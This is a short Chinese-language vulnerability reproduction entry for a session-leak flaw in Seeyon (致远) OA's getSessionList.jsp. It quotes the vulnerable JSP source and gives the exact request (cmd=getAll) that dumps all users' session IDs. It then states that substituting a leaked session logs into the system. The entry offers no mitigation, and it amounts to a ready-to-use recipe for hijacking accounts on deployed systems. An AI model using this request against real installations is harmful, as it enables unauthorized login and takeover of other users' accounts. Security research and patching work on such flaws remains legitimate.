# 致远OA getSessionList.jsp Session泄漏漏洞
# 漏洞描述
通过使用存在漏洞的请求时,会回显部分用户的Session值,导致出现任意登录的情况
# 影响版本
# 网络测绘
# 漏洞复现
出现漏洞的源码
<%@ page contentType="text/html;charset=GBK"%>
<%@ page session= "false" %>
<%@ page import="net.btdz.oa.ext.https.*"%>
<%
String reqType = request.getParameter("cmd");
String outXML = "";
boolean allowHttps = true;
if("allowHttps".equalsIgnoreCase(reqType)){
//add code to judge whether it allow https or not
allowHttps = FetchSessionList.checkHttps();
if (allowHttps) response.setHeader("AllowHttps","1");
}
if("getAll".equalsIgnoreCase(reqType)){
outXML = FetchSessionList.getXMLAll();
}
else if("getSingle".equalsIgnoreCase(reqType)){
String sessionId = request.getParameter("ssid");
if(sessionId != null){
outXML = FetchSessionList.getXMLBySessionId(sessionId);
}
}
else{
outXML += "<?xml version=\"1.0\" encoding=\"GB2312\"?>\r\n";
outXML += "<SessionList>\r\n";
// outXML += "<Session>\r\n";
// outXML += "</Session>\r\n";
outXML += "</SessionList>\r\n";
}
out.println(outXML);
%>
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从上面的代码可知,当cmd参数为getAll时,便可获取到所有用户的SessionID ,请求
/yyoa/ext/https/getSessionList.jsp?cmd=getAll
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回显Session则存在漏洞
通过替换 Session即可登陆系统